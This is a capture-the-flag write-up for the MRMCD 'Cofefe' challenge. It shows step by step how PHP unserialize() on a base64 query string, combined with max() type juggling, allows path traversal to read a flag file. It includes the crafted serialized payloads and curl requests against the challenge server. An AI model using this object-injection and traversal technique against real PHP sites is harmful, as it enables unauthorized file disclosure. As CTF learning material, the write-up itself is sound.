I participated in the MRMCD CTF and since they asked for writeups, here comes mine about the ‘Cofefe’ challenge.
Provided was the following description:
Do you have trouble to stay awake at the MRMCD? No problem, we can BREW some Covfefe with various additions for you! While drinking, you might also want to read /flag.txt?
The challenge also had a website link and that website’s source code.1
This was the site’s response:
HTTP/1.0 418 I'm a teapot
Actually I'm not a Teapot, but a RFC2324 Covfefe machine...
So let me BREW something for you!
You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond
That seems to be an implementation of the 1998 April Fool’s RFC 2324 (HTCPCP). But instead of wasting time by proofreading the whole implementation or writing an HTCPCP client, we’ll just follow the hint and start looking for the /flags.txt
file.
Given that there is only one method in the source code that reads and returns the content of a file, this should be what we’re looking for:
class Covfefe {
// ...
function get() {
global $top;
$id = max(0, $this->id); //implicit integer cast
$fname = "covfefe/".$id;
$content = file_get_contents($fname);
unlink($fname);
return $top . $content;
}
// ...
}
Our goal is to set $fname = "/flags.txt"
(or something equivalent).
Obviously we can’t change the hardcoded "covfefe/"
prefix, but the latter part is set to the result of max(0, $this->id)
at runtime.
Since we’re dealing with PHP™, max()
comes with this nice warning:
Caution: Be careful when passing arguments with mixed types values because max() can produce unpredictable results.
Let’s play around:
~> php -a
Interactive shell
php > echo max(0, "flags.txt");
0
php > echo max(0, "1flags.txt");
1flags.txt
php > echo max(0, "1/../../flags.txt");
1/../../flags.txt
And there we have it. Thanks to path normalization, covfefe/1/../../flags.txt
will be turned into flags.txt
. Next step is figuring out how to set $this->id
, which is declared here:
class Covfefe {
public $id = 42;
// ...
function __construct() {
global $bottom;
global $middle;
$this->id = rand();
$this->time = time();
$this->add($bottom);
$this->add($middle." <- Covfefe\n");
}
// ...
}
So the id is set to 42 by default, but overridden in __construct()
, which is a special method in PHP that is called “on each newly-created object, so it is suitable for any initialization that the object may need before it is used.”
But rand()
only returns integers, so we need to look elsewehre. The unserialize()
method used for GET
requests caught my eye:
if ($_SERVER["REQUEST_METHOD"] == "GET") {
if ($_SERVER['QUERY_STRING'] == "") {
echo "Actually I'm not a Teapot, but a RFC2324 Covfefe machine...\n";
echo "So let me BREW something for you!\n";
echo "You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond";
} else {
$c = unserialize(base64_decode($_SERVER['QUERY_STRING']));
echo $c->get();
}
}
“Unserialize” sounded suspicious to me, and PHP delivers:
Warning: Do not pass untrusted user input to unserialize() regardless of the options value of
allowed_classes
. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.
As noted in the documentation of the Serializable interface, unserialize()
serves as the constructor and __construct()
is not called. Therefore it would not override the unserialized id
.
So basically we just need to serialize the Covfefe
object with our desired id
, let’s try:
~> php -a
Interactive shell
php > class Covfefe { public $id = "1/../../flags.txt"; }
php > echo serialize(new Covfefe);
O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}
The format is quite simple, it defines an O
bject with the 7
character name "Covfefe"
that has 1
property with a s
tring name, namely the 2
character "id"
with a s
tring value of 17
characters "1/../../flags.txt"
.
The serialized object needs to be Base64-encoded and then it’s just used as the query string:
~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='
(
) (
___...(-------)-....___
.-"" ) ( ""-.
.-'``'|-._ ) _.-|
/ .--.| `""---...........---""` |
/ / | |
That’s just the $top
, the file $content
seems to be empty? Maybe /flags.txt
didn’t mean the webroot, but the absolute root instead?
~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:29:"1/../../../../../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='
(
) (
___...(-------)-....___
.-"" ) ( ""-.
.-'``'|-._ ) _.-|
/ .--.| `""---...........---""` |
/ / | |
MRMCD{whatever_the_actual_flag_was}
And that’s it \o/
-
Pastebin backup of index.php ↩